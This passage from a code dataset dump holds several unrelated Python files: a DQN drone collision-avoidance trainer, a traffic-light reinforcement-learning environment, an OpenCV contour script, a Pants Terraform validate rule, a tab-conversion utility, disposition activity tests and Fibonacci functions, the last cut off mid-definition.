row[-(self.state_size+1)]\n\n if reward < -1:\n done = True\n\n target = reward # target represents the Q-value\n if not done:\n next_state = np.array(row[-self.state_size:]).reshape([1, -1])\n if self.loss <= 50:\n target = (reward + self.gamma * np.amax(self.model.predict(next_state)[0]))\n \n target_f = self.model.predict(state)\n target_f[0][int(action)] = target \n # Filtering out states and targets for training\n states.append(state[0])\n targets_f.append(target_f[0])\n history = self.model.fit(np.array(states), np.array(targets_f), epochs=1, verbose=0)\n # Keeping track of loss\n self.loss = history.history['loss'][0]\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n return self.loss\n\n def load(self, name):\n self.model.load_weights(name)\n\n def save(self, name):\n self.model.save_weights(name)\n\n\nif __name__ == \"__main__\": \n \"\"\"\n The main script is used for training and saving the checkpoints\n \"\"\"\n\n parser = argparse.ArgumentParser(description='Train DQN Based Drone Collision Avoidance')\n parser.add_argument('--dataset', default='traj_weight_R.csv', help='choose dataset for training')\n parser.add_argument('--ckptsave', default='ckpt_weight_R.h5', help='ckpt file to save in ../ckpt folder')\n\n args = parser.parse_args()\n agent = DQNAgent(state_size, action_size, filename = args.dataset)\n memory = agent.memory\n done = False\n batch_size = 32\n\n \n for e in tqdm(range(EPISODES)):\n # state = env.reset()\n state = memory[0][:state_size]\n state = np.reshape(state, [1, state_size])\n for time in range(500):\n if len(agent.memory) > batch_size:\n loss = agent.replay(batch_size)\n # Logging training loss every 10 timesteps\n if time % 10 == 0:\n print(\"episode: {}/{}, time: {}, loss: {:.4f}\".format(e, EPISODES, time, loss)) \n # with open(str(parenpath + \"/assets/loss_3acs.csv\"), 'a+') as file_test: \n # writer = csv.writer(file_test)\n # # step, loss\n # writer.writerow(np.array([e * 500 + time, loss]))\n # if % 10 == 0:\n if loss <= 1:\n agent.save(str(parenpath + \"/ckpt/\" + args.ckptsave))\n","sub_path":"src/dqn_batch.py","file_name":"dqn_batch.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"90034817","text":"import copy\nimport math\nimport sys\nimport itertools\n\nimport numpy as np\n#from gym import spaces\nfrom rllab.spaces import Box, Discrete\n# from sandbox.rocky.tf.spaces import Box, Discrete\nimport simpy\n\n\nfrom gym.utils import colorize, seeding\n\nfrom madrl_environments import AbstractMAEnv, Agent\n\nfrom rltools.util import EzPickle\n\nfrom rllab.envs.env_spec import EnvSpec\n\nimport pdb\n\nimport random\nfrom math import exp\n\n\nT_INTER = [5,6] #[2,15] # Time range for cars entering system\nCAR_INTERSECTION_TIME = 1.0\nCAR_TRAVEL_TIME = 3.0\nCT_DISCOUNT_RATE = math.log(0.9)/(-100.) # decay to 90% in 100 seconds \nMAX_STOP_TIME = 100.\nMIN_STOP_TIME = 2.\nMAX_SIMTIME = math.log(0.005)/(-CT_DISCOUNT_RATE) # actions are 0.1% in discounted value\nWAIT_REWARD_FACTOR = 0.1 # How much does 1 second of wait cost all traffic lights?\nINTERSECTION_CLEARING_TIME = 30.\n\n\n\n## --- SIMPY FUNCTIONS\n\n\ndef car_generator(env,traffic_light_list, direction):\n\t\"\"\"Generate new cars that arrive at the gas station.\"\"\"\n\tglobal car_counter\n\twhile(True):\n\t\tyield env.timeout(random.randint(*T_INTER))\n\t\tenv.process(car('Car %d' % car_counter, env, traffic_light_list, direction))\n\t\tcar_counter+=1\n\n\tenv.exit()\n\ndef car(name, env, traffic_light_list, direction):\n\tstart_time = env.now\n\tfor i, traffic_light in enumerate(traffic_light_list):\n\t\tqueue_len = len(traffic_light.queues[direction].queue)\n\t\tstart_time_in_queue = env.now\n\t\twith traffic_light.queues[direction].request(priority = 1) as req:\n\t\t\tyield req\n\t\t\t# Take some time to get through intersection\n\t\t\tyield env.timeout(CAR_INTERSECTION_TIME)\n\t\t# Give a reward to the traffic light\n\t\ttraffic_light.accrue_reward(1, env.now)\n\t\t# print(name + ' went ' + direction + ' through light %d after waiting %.2f with q-size %d at time %.2f' \\\n\t\t# % (traffic_light.name,env.now-start_time_in_queue, queue_len, env.now))\n\n\t\tyield env.timeout(CAR_TRAVEL_TIME)\n\t\t\n\t\t# Maybe want to send credit to previous stop lights to encourage cooperation?\n\n\tend_time = env.now\n\t# credit all lights passed through equally for wait time\n\tfor traffic_light in traffic_light_list:\n\t\ttraffic_light.accrue_reward( -(end_time - start_time)*WAIT_REWARD_FACTOR, end_time )\n\tenv.exit()\n\ndef who_triggered(event_list):\n\toutput = [False] * len(event_list)\n\tfor i,e in enumerate(event_list):\n\t\ttry:\n\t\t\tif(e.ok):\n\t\t\t\toutput[i] = True\n\t\texcept(AttributeError):\n\t\t\tpass\n\treturn output\n\ndef max_simtime_trigger(env, event):\n\tyield env.timeout(MAX_SIMTIME)\n\tprint('Max simtime reached')\n\tevent.succeed()\n\n\n## --- ED Env\n\nclass TrafficLight(Agent):\n\n\tdef __init__(self, simpy_env, id_num):\n\t\tself.simpy_env = simpy_env\n\t\tself.name = id_num\n\t\tself.queues = {'north': simpy.PriorityResource(simpy_env,1), 'south': simpy.PriorityResource(simpy_env,1),\n\t\t\t'east': simpy.PriorityResource(simpy_env,1), 'west': simpy.PriorityResource(simpy_env,1)}\n\n\t\tself.direction = (random.random() > 0.5) # True is North\n\t\tself.light_change_time = 0.\n\t\tself.accrued_reward = 0.\n\t\tself.time_trigger = -1\n\t\tself.sojourn_time = -1\n\t\treturn\n\n\tdef set_neighboring_lights(self,neighbors):\n\t\tself.neighbors = neighbors # Expecting array [North Neighbor, S.., E.., West Neighbor]\n\n\tdef accrue_reward(self, reward, current_time):\n\t\tlight_change_time = self.light_change_time\n\t\tdelta_t = current_time - light_change_time\n\t\tself.accrued_reward += exp(-delta_t * CT_DISCOUNT_RATE) * reward\n\n\tdef change_traffic(self, event, time_to_allow):\n\n\t\tself.direction = not self.direction\n\n\n\t\tif(self.direction): # allowing NS\n\t\t\twith self.queues['east'].request(priority = 0) as req1:\n\t\t\t\twith self.queues['west'].request(priority = 0) as req2:\n\t\t\t\t\tyield req1 and req2\n\t\t\t\t\tself.time_trigger = self.simpy_env.now + time_to_allow\n\t\t\t\t\tself.sojourn_time = time_to_allow\n\t\t\t\t\tyield self.simpy_env.timeout(time_to_allow)\n\t\t\t\t\tevent.succeed()\n\t\t\t\t\twith self.queues['north'].request(priority = 0) as req1:\n\t\t\t\t\t\twith self.queues['south'].request(priority = 0) as req2:\n\t\t\t\t\t\t\tyield req1 and req2\n\t\t\t\t\t\t\tyield self.simpy_env.timeout(INTERSECTION_CLEARING_TIME)\n\n\n\t\telse: # allowing east west\n\t\t\twith self.queues['north'].request(priority = 0) as req1:\n\t\t\t\twith self.queues['south'].request(priority = 0) as req2:\n\t\t\t\t\tyield req1 and req2\n\t\t\t\t\tself.time_trigger = self.simpy_env.now + time_to_allow\n\t\t\t\t\tself.sojourn_time = time_to_allow\n\t\t\t\t\tyield self.simpy_env.timeout(time_to_allow)\n\t\t\t\t\tevent.succeed()\n\t\t\t\t\twith self.queues['east'].request(priority = 0) as req1:\n\t\t\t\t\t\twith self.queues['west'].request(priority = 0) as req2:\n\t\t\t\t\t\t\tyield req1 and req2\n\t\t\t\t\t\t\tyield self.simpy_env.timeout(INTERSECTION_CLEARING_TIME)\n\n\tdef get_obs(self):\n\t\tif(self.direction):\n\t\t\t# so that TrafficLight Policy always sees the queue they're going to allow first\n\t\t\tout = [ len(self.queues[d].queue) for d in ['north', 'south', 'east', 'west'] ]\n\t\telse:\n\t\t\tout = [ len(self.queues[d].queue) for d in ['east', 'west', 'north', 'south'] ]\n\t\tout = out + [ n.time_remaining if n is not None else MAX_STOP_TIME for n in self.neighbors ]\n\t\tout = out + [self.sojourn_time]\n\t\treturn out\n\n\n\tdef get_reward(self):\n\t\treward = self.accrued_reward\n\t\tself.accrued_reward = 0.\n\t\treturn reward\n\n\t@property\n\tdef time_remaining(self):\n\t\tif(self.direction):\n\t\t\treturn self.time_trigger - self.simpy_env.now\n\t\telse:\n\t\t\treturn -self.time_trigger + self.simpy_env.now\n\n\n\n\t@property\n\tdef observation_space(self):\n\t\t# Each agent observes: \n\t\t\t# num cars in its queue for N,S,E,W (2D in [0,max_cars])\n\t\t\t# time until next decision on its neighbors N,S,E,W (4D in [-max_stop_time,max_stop_time])\n\t\t\t#\t\t-ve means traffic is not being allowed in their direction\n\t\t\t# its own sojourn time (prev-action) (1D) \n\t\tmax_cars = 200 # cars\n\t\tmax_stop_time = MAX_STOP_TIME # seconds\n\t\tmin_stop_time = MIN_STOP_TIME # seconds\n\t\treturn Box( np.array([0]*4 + [-max_stop_time]*4 + [min_stop_time]), \n\t\t\t\t\tnp.array([max_cars]*4 + [max_stop_time]*5) )\n\n\t@property\n\tdef action_space(self):\n\t\t# Actions oscillate between allowing N/S traffic and E/W traffic, \n\t\t# the action is the amount of time to allow traffic through\n\t\tmax_stop_time = MAX_STOP_TIME # seconds\n\t\tmin_stop_time = MIN_STOP_TIME # seconds\n\t\treturn Box( np.array([min_stop_time]), np.array([max_stop_time]))\n\n\n\nclass TrafficLightEnv(AbstractMAEnv, EzPickle):\n\n\n\tdef __init__(self):\n\t\t\n\t\tself.discount = CT_DISCOUNT_RATE\n\n\t\tnum_row_col = 1\n\n\t\tself.n_agents = num_row_col ** 2\n\t\tself.max_stop_time = 100 # seconds\n\t\tself.min_stop_time = 2 # seconds\n\t\t# specify connectivity as East to West across row, North to South across column\n\t\tself.connectivity = np.array(list(range(self.n_agents))).reshape((num_row_col,num_row_col))\n\n\t\t# Assigned on reset()\n\t\tself.env_agents = [None for _ in range(self.n_agents)] # NEEDED\n\t\tself.simpy_env = None\n\t\tself.agent_event_list = [None]* self.n_agents\n\n\n\t\tEzPickle.__init__(self)\n\t\tself.seed()\n\t\tself.reset()\n\n\tdef reset(self):\n\n\t\tglobal car_counter\n\t\tcar_counter = 0\n\n\t\tself.simpy_env = simpy.Environment()\n\t\tenv = self.simpy_env\n\t\tself.env_agents = [TrafficLight(env, i) for i in range(self.n_agents)]\n\n\t\tself.max_simtime_event = simpy.Event(self.simpy_env)\n\t\tself.simpy_env.process( max_simtime_trigger(self.simpy_env, self.max_simtime_event) )\n\n\t\t# Set neighboring lights\n\t\tfor i in range(self.connectivity.shape[0]):\n\t\t\tfor j in range(self.connectivity.shape[1]):\n\t\t\t\tnorth = self.env_agents[self.connectivity[i-1,j]] if i > 0 else None\n\t\t\t\tsouth = self.env_agents[self.connectivity[i+1,j]] if i < self.connectivity.shape[0]-1 else None\n\t\t\t\teast = self.env_agents[self.connectivity[i,j-1]] if j > 0 else None\n\t\t\t\twest = self.env_agents[self.connectivity[i,j+1]] if j < self.connectivity.shape[1]-1 else None\n\t\t\t\tself.env_agents[self.connectivity[i,j]].set_neighboring_lights([north,south,east,west])\n\n\t\t# Car generators\n\t\tfor i in range(self.connectivity.shape[0]):\n\t\t\ttraffic_light_list = [self.env_agents[j] for j in self.connectivity[i,:].tolist() ]\n\n\t\t\t# East-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list,'east'))\n\t\t\t# West-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list[::-1],'west'))\n\n\t\tfor i in range(self.connectivity.shape[1]):\n\t\t\ttraffic_light_list = [self.env_agents[j] for j in self.connectivity[:,i].tolist() ]\n\n\t\t\t# South-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list,'south'))\n\t\t\t# North-bound\n\t\t\tenv.process(car_generator(env, traffic_light_list[::-1],'north'))\n\n\n\t\t# Call this with initial actions\n\t\ttime_range = 4\n\t\treturn self.step( (np.random.rand(self.n_agents, 1) * time_range + self.min_stop_time).tolist() )[0]\n\n\tdef step(self, actions):\n\n\t\t# Takes an action set, outputs next observations, accumulated reward, done (boolean), info\n\n\t\t# Convention is:\n\t\t# If an agent is to act on this event, pass an observation and accumulated reward,\n\t\t# otherwise, pass None\n\t\t# \"obs\" variable will look like: [ [None], [None], [o3_t], [None], [o5_t] ]\n\t\t# \"rewards\" will look like: [ None , None , r3_r , None , r5_t ]\n\t\t# The action returned by the (decentralized) policy will look like\n\t\t# [ None , None , a3_t , None , a5_t ]\n\n\t\tfor i, a in enumerate(actions):\n\t\t\tif a is not None: \n\t\t\t\t# need to bound action\n\t\t\t\taction = max( min(a[0], MAX_STOP_TIME), MIN_STOP_TIME )\n\t\t\t\tevent = simpy.Event(self.simpy_env)\n\t\t\t\tself.agent_event_list[i] = event\n\t\t\t\tself.simpy_env.process(self.env_agents[i].change_traffic(event, action))\n\n\t\tself.simpy_env.run(until = simpy.AnyOf(self.simpy_env, self.agent_event_list + [self.max_simtime_event]))\n\n\t\twhotriggered = who_triggered(self.agent_event_list)\n\n\t\t# Get next_obs, rewards\n\t\t\n\n\t\t# Check if max_simtime_reached\n\t\ttry:\n\t\t\tself.max_simtime_event.ok\n\t\t\tdone = True\n\t\t\tobs = [ e.get_obs() for e in self.env_agents ]\n\t\t\trewards = [ e.get_reward() for e in self.env_agents ]\n\t\texcept(AttributeError):\n\t\t\tdone = False\n\t\t\tobs = [ self.env_agents[i].get_obs() if w else [None] for i, w in enumerate(whotriggered) ]\n\t\t\trewards = [ self.env_agents[i].get_reward() if w else None for i, w in enumerate(whotriggered) ]\n\n\n\n\t\treturn obs, rewards, done, {}\n\n\n\t@property\n\tdef spec(self):\n\t\treturn EnvSpec(\n\t\t\tobservation_space=self.env_agents[0].observation_space,\n\t\t\taction_space=self.env_agents[0].action_space,\n\t\t)\n\n\t@property\n\tdef observation_space(self):\n\t\treturn self.env_agents[0].observation_space\n\n\t@property\n\tdef action_space(self):\n\t\treturn self.env_agents[0].action_space\n\n\tdef log_diagnostics(self, paths):\n\t\t\"\"\"\n\t\tLog extra information per iteration based on the collected paths\n\t\t\"\"\"\n\t\tpass\n\n\t@property\n\n\t@property\n\tdef reward_mech(self):\n\t\treturn self._reward_mech\n\n\t@property\n\tdef agents(self):\n\t\treturn self.env_agents\n\n\tdef seed(self, seed=None):\n\t\tself.np_random, seed_ = seeding.np_random(seed)\n\t\treturn [seed_]\n\n\tdef terminate(self):\n\t\treturn\n\n\n\nif __name__ == \"__main__\":\n\n\t# TLE = TrafficLightEnv()\n\n\t# print('Resetting...')\n\n\t# obs = TLE.reset()\n\t# print('Obs: ', obs)\n\n\n\t# for i in range(3):\n\t# \tobs, rewards, _, _ = TLE.step( [np.array([2]) if o != [None] else None for o in obs] )\n\t# \tprint('Obs: ', obs)\n\t# \tprint('Reward: ', rewards)\n\n\t# quit()\n\n\n\tfrom sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy\n\tfrom sandbox.rocky.tf.policies.categorical_gru_policy import CategoricalGRUPolicy\n\tfrom sandbox.rocky.tf.core.network import MLP\n\tfrom sandbox.rocky.tf.envs.base import TfEnv\n\tfrom sandbox.rocky.tf.algos.trpo import TRPO\n\tfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\n\tfrom EDFirestorm.EDhelpers import GSMDPBatchSampler, GSMDPCategoricalGRUPolicy, GSMDPGaussianGRUPolicy\n\tfrom sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import (ConjugateGradientOptimizer,\n FiniteDifferenceHvp)\n\timport tensorflow as tf\n\n\timport rllab.misc.logger as logger\n\n\tenv = TrafficLightEnv()\n\tenv = TfEnv(env)\n\n\t# logger.add_tabular_output('./ED_driving_GRU.log')\n\n\t# feature_network = MLP(name='feature_net', input_shape=(\n\t# \t\t\t\tenv.spec.observation_space.flat_dim + env.spec.action_space.flat_dim,),\n\t# \t\t\t\t\t\t\t\t\toutput_dim=7,\n\t# \t\t\t\t\t\t\t\t\thidden_nonlinearity=tf.nn.tanh,\n\t# \t\t\t\t\t\t\t\t\thidden_sizes=(32, 32), output_nonlinearity=None)\n\n\t# policy = GSMDPGaussianGRUPolicy(feature_network = feature_network, env_spec=env.spec, name = \"policy\")\n\tpolicy = GaussianMLPPolicy(env_spec=env.spec, name = \"policy\")\n\tbaseline = LinearFeatureBaseline(env_spec=env.spec)\n\talgo = TRPO(\n\t\tenv=env,\n\t\tpolicy=policy,\n\t\tbaseline=baseline,\n\t\tn_itr=75,\n\t\tmax_path_length=100000,\n\t\tdiscount=CT_DISCOUNT_RATE,\n\n\t\t# optimizer=ConjugateGradientOptimizer(\n # hvp_approach=FiniteDifferenceHvp(base_eps=1e-5)),\n\t\tsampler_cls = GSMDPBatchSampler\n\t)\n\n\talgo.train()\n\n\n\n\n","sub_path":"FirestormProject/OldEnvs/traffic_light_env.py","file_name":"traffic_light_env.py","file_ext":"py","file_size_in_byte":12660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"419347420","text":"import cv2\r\nimport numpy as np\r\ncap = cv2.VideoCapture(0)\r\nwhile(1):\r\n\r\n # Take each frame\r\n _, frame = cap.read()\r\n cv2.imshow('frame', frame)\r\n k = cv2.waitKey(5)\r\n if k==27:\r\n cv2.imwrite(\"F:\\capture.png\",frame)\r\n break\r\n\r\n\r\ngray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\nblurred = cv2.GaussianBlur(gray, (5, 5), 0)\r\nthresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY)[1]\r\ncv2.imshow(\"thresh\",thresh)\r\n\r\nimage, contours, hierarchy = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\r\ncnt = cv2.drawContours(frame, contours, -1,(0,255,0), 3)\r\ncv2.imshow('cnt',cnt)\r\n\r\n# create hull array for convex hull points\r\nhull = []\r\n \r\n# calculate points for each contour\r\nfor i in range(len(contours)):\r\n # creating convex hull object for each contour\r\n hull.append(cv2.convexHull(contours[i], False))\r\n\r\n# create an empty black image\r\ndrawing = np.zeros((thresh.shape[0], thresh.shape[1], 3), np.uint8)\r\n \r\n# draw contours and hull points\r\nfor i in range(len(contours)):\r\n color_contours = (0, 255, 0) # green - color for contours\r\n color = (255, 0, 0) # blue - color for convex hull\r\n # draw ith contour\r\n cv2.drawContours(drawing, contours, i, color_contours, 1, 8, hierarchy)\r\n # draw ith convex hull object\r\n cv2.drawContours(drawing, hull, i, color, 1, 8)\r\n\r\ndefects = cv2.convexityDefects(cnt,drawing)\r\nfor i in range(defects.shape[0]):\r\n s,e,f,d = defects[i,0]\r\n start = tuple(cnt[s][0])\r\n end = tuple(cnt[e][0])\r\n far = tuple(cnt[f][0])\r\n cv2.line(frame,start,end,[0,255,0],2)\r\n cv2.circle(frame,far,5,[0,0,255],-1)\r\n\r\ncv2.imshow('img',frame)\r\n","sub_path":"opencv/5. drawing contours.py","file_name":"5. drawing contours.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"471663537","text":"# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom pants.backend.terraform.dependency_inference import (\n GetTerraformDependenciesRequest,\n TerraformDependencies,\n)\nfrom pants.backend.terraform.partition import partition_files_by_directory\nfrom pants.backend.terraform.target_types import TerraformFieldSet\nfrom pants.backend.terraform.tool import TerraformProcess\nfrom pants.core.goals.check import CheckRequest, CheckResult, CheckResults\nfrom pants.core.util_rules.source_files import SourceFiles, SourceFilesRequest\nfrom pants.engine.internals.native_engine import Digest, MergeDigests\nfrom pants.engine.internals.selectors import Get, MultiGet\nfrom pants.engine.process import FallibleProcessResult\nfrom pants.engine.rules import collect_rules, rule\nfrom pants.engine.unions import UnionRule\nfrom pants.option.option_types import SkipOption\nfrom pants.option.subsystem import Subsystem\nfrom pants.util.strutil import pluralize\n\n\nclass TerraformValidateSubsystem(Subsystem):\n options_scope = \"terraform-validate\"\n name = \"`terraform validate`\"\n help = \"\"\"Terraform validate options.\"\"\"\n\n skip = SkipOption(\"check\")\n\n\nclass TerraformCheckRequest(CheckRequest):\n field_set_type = TerraformFieldSet\n tool_name = TerraformValidateSubsystem.options_scope\n\n\n@rule\nasync def terraform_check(\n request: TerraformCheckRequest, subsystem: TerraformValidateSubsystem\n) -> CheckResults:\n if subsystem.skip:\n return CheckResults([], checker_name=request.tool_name)\n\n source_files = await Get(\n SourceFiles, SourceFilesRequest([field_set.sources for field_set in request.field_sets])\n )\n files_by_directory = partition_files_by_directory(source_files.files)\n\n fetched_deps = await Get(\n TerraformDependencies,\n GetTerraformDependenciesRequest(source_files, tuple(files_by_directory.keys())),\n )\n # just merge them all for now. This will probably be a problem with multiple TF sources requesting different versions of the same providers\n merged_fetched_deps = await Get(Digest, MergeDigests([x[1] for x in fetched_deps.fetched_deps]))\n\n sources_and_deps = await Get(\n Digest, MergeDigests([source_files.snapshot.digest, merged_fetched_deps])\n )\n\n results = await MultiGet(\n Get(\n FallibleProcessResult,\n TerraformProcess(\n args=(\"validate\",),\n input_digest=sources_and_deps,\n output_files=tuple(files),\n description=f\"Run `terraform fmt` on {pluralize(len(files), 'file')}.\",\n chdir=directory,\n ),\n )\n for directory, files in files_by_directory.items()\n )\n\n check_results = []\n for directory, result in zip(files_by_directory, results):\n check_results.append(\n CheckResult.from_fallible_process_result(\n result, partition_description=f\"`terraform validate` on `{directory}`\"\n )\n )\n\n return CheckResults(check_results, checker_name=request.tool_name)\n\n\ndef rules():\n return (\n *collect_rules(),\n UnionRule(CheckRequest, TerraformCheckRequest),\n )\n","sub_path":"src/python/pants/backend/terraform/goals/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"416771755","text":"import sys\nimport re\n\ndef space_to_tabs(file_name):\n\tfile = open(file_name, 'r+')\n\tlines = file.readlines()\n\t\n\tp = re.compile('^[ \\t]*')\n\tfor i, line in enumerate(lines[:]):\n\t\tspaces = len(p.findall(line)[0]) \n\t\tlines[i] = '\\t' * spaces + line[spaces:]\n\t\t\t\n\tfile.seek(0)\n\tfile.writelines(lines) \n\tfile.close()\n\tprint(file_name, 'is now fixed')\n\t\nif sys.argv[1:]:\n\tfor arg in sys.argv[1:]:\n\t\tspace_to_tabs(arg)\nelse:\n\tname = input('File name: ')\n\tspace_to_tabs(name)\n","sub_path":"space_to_tabs.py","file_name":"space_to_tabs.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"163188002","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom opengever.activity import notification_center\nfrom opengever.activity.model import Activity\nfrom opengever.activity.model import Resource\nfrom opengever.activity.roles import DISPOSITION_ARCHIVIST_ROLE\nfrom opengever.activity.roles import DISPOSITION_RECORDS_MANAGER_ROLE\nfrom opengever.base.behaviors.lifecycle import ARCHIVAL_VALUE_UNWORTHY\nfrom opengever.base.behaviors.lifecycle import ARCHIVAL_VALUE_WORTHY\nfrom opengever.core.testing import OPENGEVER_FUNCTIONAL_ACTIVITY_LAYER\nfrom opengever.ogds.base.actor import Actor\nfrom opengever.testing import FunctionalTestCase\nfrom plone import api\nfrom plone.app.testing import TEST_USER_ID\n\n\nclass TestDispositionNotifications(FunctionalTestCase):\n\n layer = OPENGEVER_FUNCTIONAL_ACTIVITY_LAYER\n\n def setUp(self):\n super(TestDispositionNotifications, self).setUp()\n\n self.hugo = create(Builder('user')\n .named('Hugo', 'Boss')\n .with_roles('Contributor', 'Archivist'))\n self.peter = create(Builder('user')\n .named('Peter', 'Boss')\n .with_roles('Contributor'))\n self.hans = create(Builder('user')\n .named('Hans', 'Boss')\n .with_roles('Contributor', 'Archivist'))\n\n self.center = notification_center()\n self.actor_link = Actor.lookup(TEST_USER_ID).get_link()\n\n def test_creator_and_all_archivist_are_registered_as_watchers(self):\n acl_users = api.portal.get_tool('acl_users')\n role_manager = acl_users.get('portal_role_manager')\n role_manager.assignRoleToPrincipal(\n 'Archivist', self.org_unit.inbox_group.groupid)\n\n create(Builder('ogds_user')\n .id('peter.meier')\n .having(firstname='peter', lastname='meier',\n email='meier@example.com')\n .assign_to_org_units([self.org_unit])\n .in_group(self.org_unit.inbox_group))\n\n create(Builder('disposition'))\n\n resource = Resource.query.one()\n\n archivist_watchers = [\n sub.watcher.actorid for sub in resource.subscriptions\n if sub.role == DISPOSITION_ARCHIVIST_ROLE]\n records_manager_watchers = [\n sub.watcher.actorid for sub in resource.subscriptions\n if sub.role == DISPOSITION_RECORDS_MANAGER_ROLE]\n\n self.assertItemsEqual([TEST_USER_ID], records_manager_watchers)\n self.assertItemsEqual(\n [TEST_USER_ID, u'hugo.boss', u'hans.boss', u'peter.meier'],\n archivist_watchers)\n\n def test_added_activity_is_recorded_when_a_disposition_is_created(self):\n create(Builder('disposition').titled(u'Angebot 13.49'))\n\n activity = Activity.query.one()\n self.assertEquals('disposition-added', activity.kind)\n self.assertEquals(\n u'New disposition added by Test User on admin unit Client1',\n activity.summary)\n self.assertEquals(u'Disposition added', activity.label)\n self.assertIsNone(activity.description)\n self.assertEquals(u'Angebot 13.49', activity.title)\n\n def test_appraise_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition'))\n api.content.transition(disposition,\n transition='disposition-transition-appraise')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-appraise', activity.kind)\n self.assertEquals(\n u'Appraisal finalized by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-appraise', activity.label)\n self.assertIsNone(activity.description)\n\n def test_dispose_activity_is_recorded(self):\n self.grant('Records Manager')\n dossier = create(Builder('dossier')\n .as_expired()\n .having(archival_value=ARCHIVAL_VALUE_WORTHY))\n\n disposition = create(Builder('disposition')\n .having(dossiers=[dossier])\n .in_state('disposition-state-appraised'))\n api.content.transition(disposition,\n transition='disposition-transition-dispose')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-dispose', activity.kind)\n self.assertEquals(\n u'Disposition disposed for the archive by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-dispose', activity.label)\n self.assertIsNone(activity.description)\n\n def test_appraised_to_close_activity_is_recorded(self):\n self.grant('Records Manager')\n dossier = create(Builder('dossier')\n .as_expired()\n .having(archival_value=ARCHIVAL_VALUE_UNWORTHY))\n disposition = create(Builder('disposition')\n .having(dossiers=[dossier])\n .in_state('disposition-state-appraised'))\n api.content.transition(disposition,\n transition='disposition-transition-appraised-to-closed')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-appraised-to-closed', activity.kind)\n self.assertEquals(\n u'Disposition closed and all dossiers destroyed by {}'.format(\n self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-appraised-to-closed', activity.label)\n self.assertIsNone(activity.description)\n\n def test_archive_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-disposed'))\n api.content.transition(disposition,\n transition='disposition-transition-archive')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-archive', activity.kind)\n self.assertEquals(\n u'The archiving confirmed by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-archive', activity.label)\n self.assertIsNone(activity.description)\n\n def test_close_activity_is_recorded(self):\n self.grant('Records Manager')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-archived'))\n api.content.transition(disposition,\n transition='disposition-transition-close')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-close', activity.kind)\n self.assertEquals(\n u'Disposition closed and all dossiers '\n 'destroyed by {}'.format(self.actor_link), activity.summary)\n self.assertEquals(u'disposition-transition-close', activity.label)\n self.assertIsNone(activity.description)\n\n def test_refuse_activity_is_recorded(self):\n self.grant('Archivist')\n disposition = create(Builder('disposition')\n .in_state('disposition-state-disposed'))\n api.content.transition(disposition,\n transition='disposition-transition-refuse')\n\n activity = Activity.query.all()[-1]\n self.assertEquals('disposition-transition-refuse', activity.kind)\n self.assertEquals(\n u'Disposition refused by {}'.format(self.actor_link),\n activity.summary)\n self.assertEquals(u'disposition-transition-refuse', activity.label)\n self.assertIsNone(activity.description)\n","sub_path":"opengever/disposition/tests/test_activities.py","file_name":"test_activities.py","file_ext":"py","file_size_in_byte":7873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"223893607","text":"import time\nfrom rcviz import viz\nfrom matplotlib import pyplot as plt\nfrom functools import lru_cache\n\n\ndef fib(n):\n result = [0, 1]\n if n > 1:\n for i in range(2, n + 1):\n result.append(result[i - 2] + result[i - 1])\n return result[n]\n\n\ndef fib_digit(n):\n result = [0, 1]\n if n > 1:\n for i in range(2, n + 1):\n result.append((result[i - 2] + result[i - 1]) % 10)\n return result[n]\n\n\ndef memo(f):\n cache = dict()\n\n def inner(n):\n if n not in cache:\n cache[n] = f(n)\n return cache[n]\n\n return inner\n\n\ndef fib_naive0(n):\n assert n >= 0\n return n if n <= 1 else fib_naive0(n - 1) + fib_naive0(n - 2)\n\n# @viz\n@memo\ndef fib_naive(n):\n assert n >= 0\n return n if n <= 1 else fib_naive(n - 1) + fib_naive(n - 2)\n\n\n@lru_cache(maxsize=None)\ndef fib_naive2(n):\n assert n >= 0\n return n if n <= 1 else fib_naive2(n - 1) + fib_naive2(n - 2)\n\n\ndef fib_iter(n):\n assert n >= 0\n f0, f1 = 0, 1\n for i in range(n - 1):\n f0, f1 = f1, f0 + f1\n return n if n <= 1 else f1\n\n\n# unsugared\ndef fib_iter2(n):\n assert n >= 0\n f0 = 0\n f1 = 1\n if n <= 1:\n return n\n while n > 1:\n n -= 1\n next_fib = f0 + f1\n f0 = f1\n f1 = next_fib\n return f1\n\n\ndef 